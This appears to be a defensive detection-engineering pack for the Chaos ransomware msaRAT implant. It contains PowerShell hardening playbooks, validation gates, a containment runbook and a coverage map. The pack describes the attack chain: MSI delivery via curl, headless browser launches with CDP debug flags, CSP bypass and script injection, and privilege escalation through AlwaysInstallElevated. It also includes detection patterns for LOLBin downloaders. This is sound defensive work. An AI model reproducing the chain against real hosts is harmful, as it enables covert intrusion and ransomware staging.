# PowerShell. Run per host or via your RMM. Reports hosts where the
# CDP debugging technique still works.
$paths = @(
@{ N='Chrome'; P='HKLM:\SOFTWARE\Policies\Google\Chrome' },
@{ N='Edge'; P='HKLM:\SOFTWARE\Policies\Microsoft\Edge' }
)
foreach ($p in $paths) {
$v = (Get-ItemProperty -Path $p.P -Name RemoteDebuggingAllowed -EA SilentlyContinue).RemoteDebuggingAllowed
$state = if ($v -eq 0) { 'BLOCKED' } else { 'EXPOSED' }
[pscustomobject]@{ Browser=$p.N; RemoteDebuggingAllowed=$v; Status=$state }
}
# Also confirm Windows Installer cannot be abused for elevated installs:
Get-ItemProperty 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated -EA SilentlyContinue
Get-ItemProperty 'HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated -EA SilentlyContinue
# Expect either absent or 0. A value of 1 in BOTH hives is a privilege-escalation path.
Placeholders are deliberate. The two REPLACE_WITH_ rows are not an oversight. Talos published no file hashes for msaRAT, and secondary reporting that mentions "a file hash" is not corroborated by the official IOC file. Rather than ship a plausible-looking invented hash, the rows are labelled and left for you to fill from your own sample. Every non-placeholder value in the CSV traces back to a saved snapshot of the Talos IOC file.
Detection Validation Gates
| Gate | Check | Pass criteria |
|---|---|---|
| G1 · Telemetry ready | Confirm ProcessRollup2 carries CommandLine for your Windows estate. Run Q1 with the parent filter removed and confirm you get your normal browser launches back. | Non-zero result with populated CommandLine. If empty, command-line capture is disabled and eight of twelve queries are blind. |
| G2 · Telemetry ready | Confirm NetworkConnectIP4 retains loopback. Query RemoteAddressIP4="127.0.0.1" with no other filter over 24h. | Non-zero result. A zero result means Q11 cannot fire and must be replaced by Sysmon EID 3 (native hunt N2). |
| G3 · Telemetry ready | Confirm DnsRequest populates ContextBaseFileName. | Non-zero. Without process attribution, Q10 has no discriminator and should be dropped rather than tuned. |
| G4 · Benign baseline | Run Q1, Q2, Q3, Q4 over 14 days of history before enabling any alert. | Every hit is explainable and attributable to a named business process. Record the exclusions you will need. |
| G5 · Benign baseline | Run Q11 over 7 days and record the distinct ContextBaseFileName values. | You have a written allowlist. Anything appearing on under 1% of hosts stays in scope. |
| G6 · Positive test | On an isolated lab host, launch Chrome with --headless=new --remote-debugging-port=9222 --user-data-dir=C:\ProgramData\test from a PowerShell parent. | Q1 and Q2 both return the event within your normal ingest latency. |
| G7 · Positive test | On the same lab host, run a benign download of an MSI into ProgramData with curl, then install it with msiexec. | Q5, Q7 and Q8 all return. Confirms the delivery half of the chain is visible. |
| G8 · Negative test | Launch Chrome normally from the Start menu. Launch it once from a documented automation runner. | Q1 returns nothing for the interactive launch. The automation launch appears, confirming your exclusions are needed and not over-broad. |
| G9 · Promotion | After G4 through G8 pass, promote Q1, Q3 and Q6 to Custom IOAs at Detect. | Pilot host group first. Zero unexplained detections for 7 days before fleet-wide. |
| G10 · Prevention check | After Playbook P1, re-run the browser policy audit block from section 10 across the fleet. | 100% of managed hosts report RemoteDebuggingAllowed = 0. Any EXPOSED host is a host where this still works. |
Hardening (Tiered)
H-I1 · Disable browser remote debugging by policy. Set RemoteDebuggingAllowed = 0 for Chrome and Edge via GPO or Intune. This is the control that removes the technique rather than detecting it: with remote debugging disabled by policy, msaRAT can still launch a browser but cannot drive it, and the entire C2 mechanism sits idle exactly as it does on a machine with no browser installed. Authority: MITRE M1042 (Disable or Remove Feature or Program), plus the Chrome Enterprise and Microsoft Edge policy references. Highest leverage in this pack
H-I2 · Deny MSI execution from user-writable paths. WDAC or AppLocker rule denying .msi from C:\ProgramData, C:\Users, C:\Windows\Temp and C:\Users\Public, with an explicit allow for your software-distribution agent's staging directory. Authority: MITRE M1038 (Execution Prevention), CIS Microsoft Windows Benchmark application-control section.
H-I3 · Enforce protocol-aware egress inspection. Replace port-only allow rules with application or protocol identification, so plain HTTP on TCP/443 is denied rather than waved through. This is the specific gap the delivery step was built to exploit. Authority: MITRE M1037 (Filter Network Traffic).
H-I4 · Confirm vendor coverage is live. ClamAV Win.Downloader.ChaosRaas-10060321-0 current, Snort SIDs 1:66839, 1:66840, 1:66841 and 1:301587 enabled. Authority: vendor advisory (Cisco Talos).
H-I5 · Set AlwaysInstallElevated = 0. In both HKLM and HKCU. An MSI that installs with SYSTEM rights turns a user-context foothold into a SYSTEM implant. Authority: MITRE M1054 (Software Configuration), CIS Windows Benchmark, Microsoft Security Baseline.
H-N1 · Restrict Quick Assist and unsanctioned remote assistance. Chaos's documented access route is a spam flood, then a voice call impersonating IT, then Quick Assist. Remove or block the Quick Assist app for users who have no business need, and publish an internal rule that IT never cold-calls asking a user to start a remote session. Authority: MITRE M1042 and M1017 (User Training).
H-N2 · Allowlist RMM tooling. Chaos abuses legitimate RMM agents for persistence. Enumerate every RMM binary in your estate, allow the ones you own by publisher and hash, and block the rest via WDAC. Authority: MITRE M1038.
H-N3 · Alert on browser policy drift. Once H-I1 is deployed, a host that loses the RemoteDebuggingAllowed value has quietly regained the exposure. Monitor the registry value with an ASEP or configuration-drift check and alert on removal. Authority: best practice, no formal benchmark entry. ⚠ best-practice
H-N4 · Scope the workers.dev decision deliberately. Do not block *.workers.dev outright, it will break legitimate Cloudflare Workers services. Instead, inventory which Workers hosts your business genuinely uses, then move unknown Workers subdomains to an inspect-and-log category at the proxy so a new signalling host is visible without an outage. Authority: MITRE M1037.
H-N5 · Constrain LOLBin downloaders. WDAC or ASR-style rules limiting curl.exe, certutil.exe and bitsadmin.exe to the accounts and hosts that legitimately need them. Authority: MITRE M1038, M1042.
H-S1 · Full application control on standard endpoints. WDAC in enforced mode with a managed publisher and catalog policy. The msaRAT chain uses only signed Microsoft binaries plus one unsigned in-memory DLL, so signature-based application control is the layer that meets it. Authority: MITRE M1038, Microsoft WDAC deployment guidance, DISA Windows STIG.
H-S2 · Immutable, offline-verified backups with tested restore. Chaos is double-extortion ransomware. Q12 tells you the encryptor is imminent, recoverable backups decide what happens next. Authority: MITRE M1053 (Data Backup), NIST SP 800-209.
H-S3 · Tier privileged access and remove standing local admin. msaRAT is deployed after the operator already has execution. Reducing what that foothold can reach reduces what an MSI custom action can install. Authority: MITRE M1026 (Privileged Account Management), Microsoft Enterprise Access Model.
H-S4 · Egress through an inspecting proxy with per-process attribution. The reason this campaign wins at the network tier is that the browser is a trusted egress path. A proxy that ties requests to a process and a user session turns "a browser called Cloudflare" into "a browser with no user session called Cloudflare". Authority: MITRE M1037, NIST SP 800-41.
Deployable Playbooks
P1 · Disable browser remote debugging (H-I1)
Deploy via GPO Preferences, Intune, or your RMM. Registry form shown so it can be pushed anywhere.
# 1. Chrome and Edge: block the CDP remote-debugging port by enterprise policy.
# With this set, --remote-debugging-port is refused and msaRAT has no channel.
New-Item -Path 'HKLM:\SOFTWARE\Policies\Google\Chrome' -Force | Out-Null
New-Item -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Edge' -Force | Out-Null
New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Google\Chrome' `
-Name 'RemoteDebuggingAllowed' -PropertyType DWord -Value 0 -Force | Out-Null
New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Edge' `
-Name 'RemoteDebuggingAllowed' -PropertyType DWord -Value 0 -Force | Out-Null
# 2. Verify (expect 0 for both).
'Google\Chrome','Microsoft\Edge' | ForEach-Object {
$p = "HKLM:\SOFTWARE\Policies\$_"
[pscustomobject]@{
Policy = $p
Value = (Get-ItemProperty $p -Name RemoteDebuggingAllowed -EA SilentlyContinue).RemoteDebuggingAllowed
}
}
# 3. Confirm it took effect in the browser itself: open chrome://policy and
# edge://policy and check RemoteDebuggingAllowed shows as Disabled.
# NOTE: developers and QA who legitimately need CDP must be scoped into a
# separate OU or Intune group. Do NOT leave the policy off fleet-wide for them.
P2 · Block MSI execution from user-writable paths (H-I2)
# AppLocker: deny Windows Installer files from user-writable locations,
# then allow ONLY your software-distribution agent's staging directory.
# Import into a test GPO first. Audit-only mode for 14 days before enforcing.
# a. Put AppLocker into Audit mode for MSI rules
Set-AppLockerPolicy -XmlPolicy .\msi-audit.xml -Merge
# msi-audit.xml rule intent (author in the AppLocker GUI or edit the XML):
# DENY Path %OSDRIVE%\ProgramData\*.msi
# DENY Path %OSDRIVE%\Users\*\AppData\Local\Temp\*.msi
# DENY Path %WINDIR%\Temp\*.msi
# DENY Path %OSDRIVE%\Users\Public\*.msi
# ALLOW Path %OSDRIVE%\ProgramData\YourDistributionAgent\Cache\*.msi
# ALLOW Publisher (your internal code-signing certificate)
# b. Review what would have been blocked before enforcing
Get-WinEvent -LogName 'Microsoft-Windows-AppLocker/MSI and Script' -MaxEvents 500 |
Where-Object { $_.Id -in 8003,8006 } |
Select-Object TimeCreated, Id, Message | Format-List
# c. Switch to Enforce only after (b) is clean for 14 days.
P3 · Windows Installer elevation hardening (H-I5)
# AlwaysInstallElevated = 1 in BOTH hives lets any user install an MSI as SYSTEM.
# That converts a user-context foothold into a SYSTEM implant with no exploit.
foreach ($hive in 'HKLM','HKCU') {
$path = "${hive}:\SOFTWARE\Policies\Microsoft\Windows\Installer"
New-Item -Path $path -Force | Out-Null
New-ItemProperty -Path $path -Name 'AlwaysInstallElevated' `
-PropertyType DWord -Value 0 -Force | Out-Null
}
# Verify (expect 0 or absent in both hives)
'HKLM','HKCU' | ForEach-Object {
$p = "${_}:\SOFTWARE\Policies\Microsoft\Windows\Installer"
[pscustomobject]@{
Hive = $_
Value = (Get-ItemProperty $p -Name AlwaysInstallElevated -EA SilentlyContinue).AlwaysInstallElevated
}
}
# Related: disable user installs of MSIs entirely where your estate allows it.
# GPO: Computer Configuration > Administrative Templates > Windows Components >
# Windows Installer > "Prohibit User Installs" = Enabled, Hide User Installs
P4 · Post-deployment CQL spot-check
Run this a week after P1. It confirms the control is doing work, not just that a registry value exists.
// Any browser still accepting a CDP debug flag after policy deployment. // A non-empty result means the policy did not apply on those hosts. #event_simpleName=/^(Synthetic)?ProcessRollup2$/ | FileName=/^(chrome|msedge)\.exe$/i | CommandLine=/--remote-debugging-(port|pipe)/i | groupBy([ComputerName], function=count(as=Launches)) | sort(Launches, order=desc, limit=500)
P5 · Proxy category change for unknown Workers hosts (H-N4)
# Intent, expressed for a generic secure web gateway. Translate to your vendor. # # 1. Create a URL category: "cloudflare-workers-unknown" # pattern: *.workers.dev # 2. Create an allowlist category: "cloudflare-workers-sanctioned" # populate with the exact Workers hostnames your business owns # 3. Policy order: # allow + no-log cloudflare-workers-sanctioned # allow + FULL LOG cloudflare-workers-unknown <-- inspect, do not block # # Do NOT block *.workers.dev. It is Cloudflare shared infrastructure and blocking # it breaks legitimate services. The goal is visibility, so a new signalling host # shows up in a log review rather than in an incident report. # # 4. Add a standing alert on: user-agent contains "HeadlessChrome" # AND destination category = cloudflare-workers-unknown
Containment Runbook
| Phase | Actions | Owner | Evidence to capture |
|---|---|---|---|
| 0 · Triage (0 to 15 min) | Confirm the Q1 or Q3 hit is not a known automation host. Check the parent process and the user context. Pull the full process tree around the browser launch. | SOC L1 | Process tree export, CommandLine, ParentBaseFileName, UserSid, SHA256HashData. |
| 1 · Isolate (15 to 30 min) | Falcon network-contain the host. Do not power it off: the msaRAT payload is loaded in memory from the MSI Binary table and may exist nowhere on disk. Containment preserves it, shutdown destroys it. | SOC L2 | Containment timestamp, host identifier, contained-by user. |
| 2 · Collect (30 to 90 min) | Via RTR: full memory image first. Then C:\ProgramData\*.msi, the malware-supplied user-data-dir, MsiInstaller application log, Sysmon EID 1/3/22 for the window, and the browser process command lines. Dump the MSI CustomAction and Binary tables. | IR | Memory image, MSI sample, hashes of both, timeline of the browser launch. |
| 3 · Scope (1 to 4 h) | Run Q9 across maximum retention. Run Q1, Q3, Q4 fleet-wide. Run Q5 and Q7 to find other hosts that received an MSI from the same source. Check for Chaos precursors: RMM installs, Quick Assist sessions, spam-flood recipients. | IR + Threat Hunt | Affected host list, first-seen timestamp per host, common parent tooling. |
| 4 · Eradicate (4 to 12 h) | Terminate the headless browser and its parent process. Remove the MSI and the malware-created user-data directory. Deploy Playbook P1 fleet-wide as an emergency change, which severs the channel on every host at once. Import the two IOC rows at Detect. | IR + Endpoint Eng | Change record for P1, IOC import confirmation, per-host remediation log. |
| 5 · Credential response (same day) | Treat every credential used or cached on the host as compromised. Force password reset and revoke sessions for the interactive user and any service account the process ran under. Rotate local admin credentials on the affected hosts. | IAM | Reset and revocation records, session-revocation timestamps. |
| 6 · Ransomware readiness (same day) | msaRAT is a pre-encryption stage. Verify backup integrity and restore-test at least one critical system before standing down. Run Q12 fleet-wide and treat any hit as an active encryption attempt. | IR + Infrastructure | Backup verification report, restore-test result, Q12 output. |
| 7 · Recover (24 to 72 h) | Rebuild affected hosts from a known-good image rather than cleaning in place. An in-memory implant delivered by a custom action leaves poor removal assurance. | Endpoint Eng | Rebuild records, post-rebuild Q1 through Q4 clean run. |
| 8 · Close (within 2 weeks) | Confirm gate G10 passes fleet-wide. Promote Q1, Q3 and Q6 to Custom IOAs. Feed the observed parent processes back into the tuning notes. Update this pack to v0.2 with tenant-specific exclusions. | Detection Eng | IOA rule IDs, G10 report, updated pack version. |
Detection Coverage Map
| Technique | Behavior | CQL | IOA | Coverage |
|---|---|---|---|---|
| T1105 | curl pulls the MSI into ProgramData | Q5, Q6, Q8 | IOA-3 | Good |
| T1571 | Plain HTTP pinned to TCP/443 | Q6 | IOA-3 | Good |
| T1218.007 | msiexec installs from a user-writable path | Q7, Q8 | IOA-2 | Good |
| T1620 | lib.dll loaded to memory from the MSI Binary table | none | none | GAP |
| T1518 | Browser located via env vars, then registry fallback | none | none | GAP |
| T1219 | Headless browser launched with a CDP debug port | Q1, Q2, Q3, Q4 | IOA-1, IOA-2 | Good |
| T1562.001 | Page.setBypassCSP disables CSP in the controlled browser | none | none | GAP |
| T1059.007 | Runtime.evaluate injects JavaScript from .rdata | none | none | GAP |
| T1090.001 | RAT holds a loopback-only session to the debug port | Q11 | none | Partial |
| T1102 / T1071.001 | Cloudflare Workers signalling with spoofed Microsoft headers | Q9, Q10 | none | Partial |
| T1090.002 | All C2 forced through the Twilio TURN relay | Q10 | none | Partial |
| T1573.002 | ChaCha-Poly1305 inside DTLS, ECDH-keyed | none | none | GAP |
| T1490 | Shadow copy and backup catalog destruction | Q12 | none | Good |
| T1486 | Chaos encryptor execution | Q12 (precursor only) | none | Partial |
Known gaps and what to do about them
- In-memory DLL load from the MSI Binary table (T1620). There is no file write, so no file-creation event exists to hunt. Mitigate by catching the msiexec parent relationship instead (Q3, Q7) and by retro-hunting collected MSI samples for
CA_Run_plusBin_lib_pairs (native hunt N8). - Browser path discovery (T1518). Registry reads generate no telemetry in any EDR. Not huntable, and not worth chasing. The next step in the chain (the browser launch) is fully visible.
- CDP method calls (T1562.001, T1059.007). No Falcon field carries CDP method names. The only realistic visibility is a network sensor that can see the loopback WebSocket, which almost nobody deploys. Control H-I1 removes the capability instead, which is the correct answer to an undetectable step.
- Payload encryption (T1573.002). Detection is not the tool here. Double encryption inside a legitimate WebRTC channel is opaque by design.
- Loopback retention (Q11). Tenant-dependent. If gate G2 fails, Q11 is a false sense of coverage and should be replaced with Sysmon EID 3 (native hunt N2) rather than left running.
Validation gates for all of the above are in section 11. Do not promote any query to an alert until G4 through G8 have passed on your own data, and do not treat a clean Q11 result as meaningful until G2 confirms the telemetry exists.
Hunt Summary Ticket
TITLE Hunt: Chaos msaRAT - headless browser CDP command-and-control
SEVERITY High. Pre-ransomware implant from an active double-extortion RaaS group.
SCOPE All Windows endpoints with Chrome or Edge installed. Priority to servers,
jump hosts and any host with RMM tooling present.
HYPOTHESIS A Rust implant (msaRAT) launches its own headless Chrome or Edge with the
CDP remote-debugging port enabled, drives it over a loopback WebSocket, and
uses the browser as its entire network stack. The RAT process itself only
ever talks to 127.0.0.1, so all C2 egress appears to come from a trusted,
signed browser calling Cloudflare Workers and a Twilio TURN relay.
QUERIES Q1 headless browser + CDP debug port, non-browser parent [FLAGSHIP]
Q2 browser --user-data-dir under ProgramData or temp
Q3 browser spawned by msiexec / rundll32 / script host
Q4 browser running as SYSTEM or a service SID
Q5 curl/certutil/bitsadmin pulling an .msi into ProgramData
Q6 plain-HTTP URL pinned to port 443 in a command line
Q7 msiexec installing from a user-writable path
Q8 same host: download utility + MSI install (aggregation)
Q9 published msaRAT infrastructure (atomic retro-sweep)
Q10 browser DNS for workers.dev + Twilio TURN [correlate only]
Q11 loopback-heavy non-browser process [baseline first]
Q12 shadow copy / backup destruction (Chaos follow-on)
DO FIRST 1. Gate G1: confirm CommandLine capture is on. Without it, 8 of 12 are blind.
2. Run Q9 over maximum retention. Any hit is an incident, escalate now.
3. Run Q1 over 14 days. Baseline the automation hosts, do not exclude the technique.
4. Deploy Playbook P1 (RemoteDebuggingAllowed = 0). This ends the technique.
FINDINGS [ ] Q9 retro-sweep result:
[ ] Q1 baseline hosts and named exclusions:
[ ] G1 / G2 / G3 telemetry gate results:
[ ] Hosts with RemoteDebuggingAllowed absent (EXPOSED):
GAPS In-memory DLL load from MSI Binary table (no file write).
Browser path discovery via registry reads (no telemetry, any EDR).
CDP method calls (Page.setBypassCSP, Runtime.evaluate) not in the data model.
Payload encryption (ChaCha-Poly1305 inside DTLS) opaque by design.
Loopback retention in NetworkConnectIP4 is tenant-configurable (gate G2).
ACTIONS [ ] Import the two atomic IOCs at Detect (expire 2027-01-24)
[ ] Deploy P1 fleet-wide, then verify with gate G10
[ ] Deploy P2 (MSI path denial) in audit mode
[ ] Promote Q1, Q3, Q6 to Custom IOAs after G4 through G8 pass
[ ] Fill the two REPLACE_WITH_ hash rows if you obtain a sample
OWNER Detection Engineering / Threat Hunt
VERSION v0.1 · 2026-07-24
Changelog
table() calls now carry an explicit row limit: the default is 200 and truncation is silent, so a capped result was indistinguishable from a complete one. Atomic-IOC sweeps (filters over 5+ hashes or C2 IPs) use limit=max so a wide infection is never silently under-scoped; behavioural hunts use limit=200, where exceeding the cap indicates the query needs tuning. Where present, event names that do not exist in the Falcon data model were corrected (e.g. ServiceInstalled is a Sysmon concept, not a Falcon event; ElfFileWritten is ELFFileWritten) — such queries could never return a row. No detection logic, fields, or IOCs changed.References
| Tier | Source | Used for | Accessed |
|---|---|---|---|
| 1 | Cisco Talos: Chaos ransomware's msaRAT, living off the browser to build a covert C2 channel | Primary technical analysis. Infection chain, MSI custom action, CDP bindings, WebRTC signalling, encryption, vendor coverage. | 2026-07-24 |
| 1 | Cisco Talos IOC repository: chaos-msarat.txt | Official atomic indicators. The only authoritative source for the two values shipped in the import CSV. | 2026-07-24 |
| 1 | Cisco Talos: Unmasking the new Chaos RaaS group attacks | Group background, initial-access playbook, RMM abuse, hardening context. | 2026-07-24 |
| 2 | The Hacker News: Chaos ransomware uses msaRAT to route C2 traffic through headless Chrome and Edge | Named browser launch flags and the loopback-only assertion. | 2026-07-24 |
| 2 | Help Net Security: Cisco Talos on Chaos ransomware and msaRAT | Browser discovery detail and the HeadlessChrome network artefact. | 2026-07-24 |
| 2 | BleepingComputer: New msaRAT malware uses Chrome, Edge browsers to route C2 traffic | Encryption corroboration and TURN routing design. | 2026-07-24 |
| 2 | Security Affairs: Chaos ransomware deploys browser-based msaRAT to evade network detection | Independent corroboration, certutil companion signal. | 2026-07-24 |
| Ref | MITRE ATT&CK T1219, T1218.007, T1620, T1090.002, T1102, T1571, T1490 | Technique and mitigation mapping. | 2026-07-24 |
| Ref | Chrome Enterprise policy: RemoteDebuggingAllowed · Microsoft Edge policy reference | Control H-I1 and Playbook P1. | 2026-07-24 |
Provenance: the fetched text of every source above is saved verbatim in ChaosMsaRAT-BrowserC2-Hunt-sources/ alongside this file. Every atomic indicator shipped in section 10 traces back to one of those snapshots.